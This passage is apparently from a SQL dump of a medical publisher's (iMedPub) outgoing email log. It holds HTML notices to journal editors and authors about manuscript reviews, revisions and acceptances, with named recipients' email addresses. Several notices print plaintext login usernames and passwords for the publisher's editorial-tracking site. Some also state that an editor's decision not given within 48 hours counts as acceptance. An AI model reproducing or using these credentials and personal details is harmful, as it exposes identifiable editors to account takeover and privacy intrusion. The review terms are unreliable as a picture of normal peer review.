solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-630</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A SIMPLE OVERVIEW OF ADDICTIVE BEHAVIOR</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-19-630</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','tsxie@qq.com',630,'2019-11-26',75),(632,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2933</b><br />\r\n            <br />\r\n            Article Title: <b>A purple urine bag syndrome in a CKD patient</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Upma Narain</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2933</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',2933,'2019-11-26',248),(639,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2852</b><br />\r\n            <br />\r\n            Article Title: <b>In vitro evaluation of bacteriophages against Methicillin-resistant Staphylococcus aureus(MRSA) isolated from burn wounds</b><br />\r\n            <br />\r\n            Corresponding Author: <b>masoumeh Hallajzadeh</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2852</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',2852,'2019-11-28',248),(642,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">&nbsp;</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2696</b><br />\r\n            <br />\r\n            Article Title: <b>A case report and literature review of clobazam toxicity related to CBD and Clobazam drug drug interaction</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rowida Kheireldin</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-2696</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',2696,'2019-11-29',75),(643,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">&nbsp;</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2635</b><br />\r\n            <br />\r\n            Article Title: <b>The intracerebral hemorrhage (ICH) in the state of Qatar</b><br />\r\n            <br />\r\n            Corresponding Author: <b>musab ali</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-2635</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',2635,'2019-11-29',75),(644,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">&nbsp;</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2719</b><br />\r\n            <br />\r\n            Article Title: <b>Paroxetine attenuates cerebral ischemia/reperfusion injury in rat via its anti-inflammatory and antioxidant effects</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Yazdan Naderi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-2719</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',2719,'2019-11-29',75),(647,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2902</b><br />\r\n            <br />\r\n            Article Title: <b>QUALITATIVE ANALYSIS OF THE BIOLOGICAL TESTING OF NOVEL TELOMERASE INHIBITORS 	 </b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sridhar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-30</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','suganthi@mail.usf.edu',2902,'2019-11-30',376),(648,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2902</b><br />\r\n            <br />\r\n            Article Title: <b>QUALITATIVE ANALYSIS OF THE BIOLOGICAL TESTING OF NOVEL TELOMERASE INHIBITORS 	 </b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sridhar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.</p>\r\n            <p>We would like to send the final galley proof along with invoice of 1219 euors kindly be active in email conversation&nbsp;<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-30</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','suganthi@mail.usf.edu',2902,'2019-11-30',376),(649,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2645</b><br />\r\n            <br />\r\n            Article Title: <b>ANATOMIZING THE HUMAN BODY IN THE TRAINING ELEMENTARY SCHOOL: Experience report of the University extension of undergraduate nursing students</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Vinicius do Carmo Borges Silva</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-2645</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',2645,'2019-12-02',85),(653,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-555</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluating the impact of the National Adolescent Health Strategic Plan on Adolescent Sexual Reproductive Health Services in Zambia: A qualitative study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mercy Chisashi</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-555</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',555,'2019-12-02',84),(654,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-557</b><br />\r\n            <br />\r\n            Article Title: <b>Mid-Term Assessment of Maternal Care Assistance Program Implementation in Leyte Province, 2014-2017 in terms of Facility-Based Delivery, Maternal Mortality Ratio, and Infant Mortality Rate</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adelaida Gaytos Rosaldo</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-557</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',557,'2019-12-02',84),(655,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-1674</b><br />\r\n            <br />\r\n            Article Title: <b>Engaging nurses in research and quality improvement is associated with higher job satisfaction and lower rates of unscheduled time off work: a pilot study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Colin Fitzpatrick</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-1674</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',1674,'2019-12-02',84),(656,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2727</b><br />\r\n            <br />\r\n            Article Title: <b>Health care workers Motivation and retention approaches of health 4 workers in Ethiopia A scoping review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Afework Tadele</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-2727</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',2727,'2019-12-02',84),(657,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-1674</b><br />\r\n            <br />\r\n            Article Title: <b>Engaging nurses in research and quality improvement is associated with higher job satisfaction and lower rates of unscheduled time off work: a pilot study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Colin Fitzpatrick</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-1674</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',1674,'2019-12-02',84),(658,'<p>Ref.:  Ms. No. : <b>iphspr-19-2674</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers </b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. van Olmen</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-2674</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>josefien</b><br />\r\npassword: <b>7uYIyzXr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','jvanolmen@itg.be',2674,'2019-12-03',84),(660,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-630</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A SIMPLE OVERVIEW OF ADDICTIVE BEHAVIOR</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-19-630</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','tsxie@qq.com',630,'2019-12-03',75),(661,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-630</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A SIMPLE OVERVIEW OF ADDICTIVE BEHAVIOR</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Faustin Armel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-12-03</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','faustin.armel.etindele.sosso@umontreal.ca',630,'2019-12-03',75),(663,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-555</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluating the impact of the National Adolescent Health Strategic Plan on Adolescent Sexual Reproductive Health Services in Zambia: A qualitative study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mercy Chisashi</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-555</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',555,'2019-12-03',84),(672,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2686</b><br />\r\n            <br />\r\n            Article Title: <b>Candida parapsilosis sensu stricto: A  Pathobiont in Conditions of Oral Dysbiosis?</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rodr&iacute;guez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-12-05</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lulyrodriguez84@gmail.com',2686,'2019-12-05',248),(673,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2727</b><br />\r\n            <br />\r\n            Article Title: <b>Health care workers Motivation and retention approaches of health 4 workers in Ethiopia A scoping review</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>iphspr-19-2727</b> for the <b>Health Systems and Policy Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health 